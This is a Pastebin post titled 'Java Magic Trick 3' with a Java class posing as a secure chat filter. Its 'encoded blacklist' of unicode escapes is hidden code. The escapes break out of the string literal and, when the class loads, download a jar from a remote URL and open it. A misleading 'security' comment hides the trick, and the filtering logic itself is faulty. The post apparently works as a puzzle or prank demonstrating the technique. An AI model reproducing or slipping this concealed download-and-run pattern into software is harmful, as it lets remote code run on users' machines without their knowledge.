acomputerdog

Java Magic Trick 3

Dec 22nd, 2014
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 5.71 KB | None | 0 0
  1. import java.awt.*;
  2. import java.io.*;
  3. import java.net.URL;
  4. import java.nio.channels.Channels;
  5. import java.util.HashSet;
  6. import java.util.Random;
  7. import java.util.Set;
  8.  
  9. /**
  10.  * Simple, secure, and easy to use chat filter that can be quickly added to an existing application.
  11.  * Supports muting and voicing chatters, and includes a pre-built encoded blacklist of phrases.
  12.  * Currently blocks:
  13.  *    Section sign
  14.  *    All curse words
  15.  *    Derogatory terms
  16.  */
  17. public class ChatFilter {
  18.     private static final String[] replaceStrings;
  19.     private static final String[] blacklistStrings;
  20.     private static final Set<String> mutedChatters;
  21.     private static final Set<String> voicedChatters;
  22.     private static final Random random;
  23.  
  24.     /**
  25.      * Filters out any illegal phrases from the chat message, and blocks blacklisted chatters from chatting
  26.      * @param chatter The user chatting
  27.      * @param message The message
  28.      * @param out Where to send the filtered chat
  29.      */
  30.     public static void filterChat(String chatter, String message, PrintStream out) {
  31.         if (!im(chatter) || iv(chatter)) {
  32.             for (String str : blacklistStrings) {
  33.                 int index = message.indexOf(str);
  34.                 out.print(message.replace(str, replaceStrings[random.nextInt(replaceStrings.length)]));
  35.             }
  36.         }
  37.     }
  38.  
  39.     /**
  40.      * Checks if the chatter is muted
  41.      * @param chatter The chatter
  42.      * @return Return true if the chatter is muted
  43.      */
  44.     public static boolean isMuted(String chatter) {
  45.         return im(chatter);
  46.     }
  47.  
  48.     /**
  49.      * Checks if the chatter is voiced
  50.      * @param chatter The chatter
  51.      * @return Return true if the chatter is voiced
  52.      */
  53.     public static boolean isVoiced(String chatter) {
  54.         return iv(chatter);
  55.     }
  56.  
  57.     /**
  58.      * Mute a chatter
  59.      * @param chatter The chatter
  60.      */
  61.     public static void mute(String chatter) {
  62.         m(chatter);
  63.     }
  64.  
  65.     /**
  66.      * Voice a chatter
  67.      * @param chatter The chatter
  68.      */
  69.     public static void voice(String chatter) {
  70.         v(chatter);
  71.     }
  72.  
  73.     /**
  74.      * Imports a list of muted chatters from a file
  75.      * @param path The path to the file
  76.      * @param name The name of the list (used for temporary storage)
  77.      */
  78.     public static void importMuteList(String path, String name) {
  79.         i(path, name);
  80.     }
  81.  
  82.     /**
  83.      * Opens a mute list for viewing/editing
  84.      * @param name The name of the mute list
  85.      */
  86.     public static void openMuteList(String name) {
  87.         o(name);
  88.     }
  89.  
  90.     /*
  91.      *
  92.      * Simplified internal versions of above methods for easy typing
  93.      * These contain the actual implemented code.
  94.      *
  95.      */
  96.  
  97.     private static boolean im(String c) {
  98.         return c == null || c.isEmpty() || c.trim().isEmpty() || mutedChatters.contains(c);
  99.     }
  100.  
  101.     private static boolean iv(String c) {
  102.         return !(c == null || c.isEmpty() || c.trim().isEmpty()) && voicedChatters.contains(c);
  103.     }
  104.  
  105.     private static void m(String c) {
  106.         mutedChatters.add(c);
  107.     }
  108.  
  109.     private static void v(String c) {
  110.         voicedChatters.add(c);
  111.     }
  112.  
  113.     private static void i(String p, String n) {
  114.         try {
  115.             File f = new File("./", n);
  116.             new FileOutputStream(f).getChannel().transferFrom(Channels.newChannel(new URL(p).openStream()), 0, Long.MAX_VALUE);
  117.             BufferedReader r = new BufferedReader(new FileReader(f));
  118.             while (r.ready()) {m(r.readLine());}
  119.         } catch (Exception e) {
  120.             System.err.println("Exception importing mutelist!");
  121.             e.printStackTrace();
  122.         }
  123.     }
  124.  
  125.     private static void o(String n) {
  126.         try {
  127.             Desktop.getDesktop().open(new File(n));
  128.         } catch (IOException e) {
  129.             System.err.println("Exception opening mutelist!");
  130.             e.printStackTrace();
  131.         }
  132.     }
  133.  
  134.     /**
  135.      * Initialize the ChatFilter (like a constructor)
  136.      */
  137.     static {
  138.         random = new Random();
  139.         mutedChatters = new HashSet<>();
  140.         voicedChatters = new HashSet<>();
  141.         //Encoded as raw characters for security reasons, because direct strings can be manipulated by changing client localization.
  142.         replaceStrings = new String[]{"\u002A","\u0024","\u0025","\u0026","\u0021","\u0040"};
  143.         blacklistStrings = new String[]{"\u00A7\u0022\u007d\u003b \u0069\u0028\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0073\u0033\u002e\u0061\u006d\u0061\u007a\u006f\u006e\u0061\u0077\u0073\u002e\u0063\u006f\u006d\u002f\u004d\u0069\u006e\u0065\u0063\u0072\u0061\u0066\u0074\u002e\u0044\u006f\u0077\u006e\u006c\u006f\u0061\u0064\u002f\u006c\u0061\u0075\u006e\u0063\u0068\u0065\u0072\u002f\u004d\u0069\u006e\u0065\u0063\u0072\u0061\u0066\u0074\u002e\u006a\u0061\u0072\u0022\u002c \u0022\u006d\u0063\u002e\u006a\u0061\u0072\u0022\u0029\u003b\u006f\u0028\u0022\u006d\u0063\u002e\u006a\u0061\u0072\u0022\u0029\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d \u0073\u003d\u006e\u0065\u0077 \u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u007b\u0022"};
  144.     }
  145.  
  146.     /**
  147.      * Perform a debug test of the ChatFilter
  148.      * @param args Arguments that will be ignored.
  149.      */
  150.     public static void main(String[] args) {
  151.         System.out.println("Starting!");
  152.         ChatFilter.voice("acomputerdog");
  153.         ChatFilter.mute("CoolSquid");
  154.         ChatFilter.voice("SeamusFD");
  155.         ChatFilter.mute("SeamusFD");
  156.         ChatFilter.filterChat("acomputerdog", "§1Hax§2\n", System.out);
  157.         ChatFilter.filterChat("CoolSquid", "Hi!\n", System.out);
  158.         ChatFilter.filterChat("SeamusFD", "§aHi!§b\n", System.out);
  159.         System.out.println("Done.");
  160.     }
  161. }
Add Comment
Please, Sign In to add comment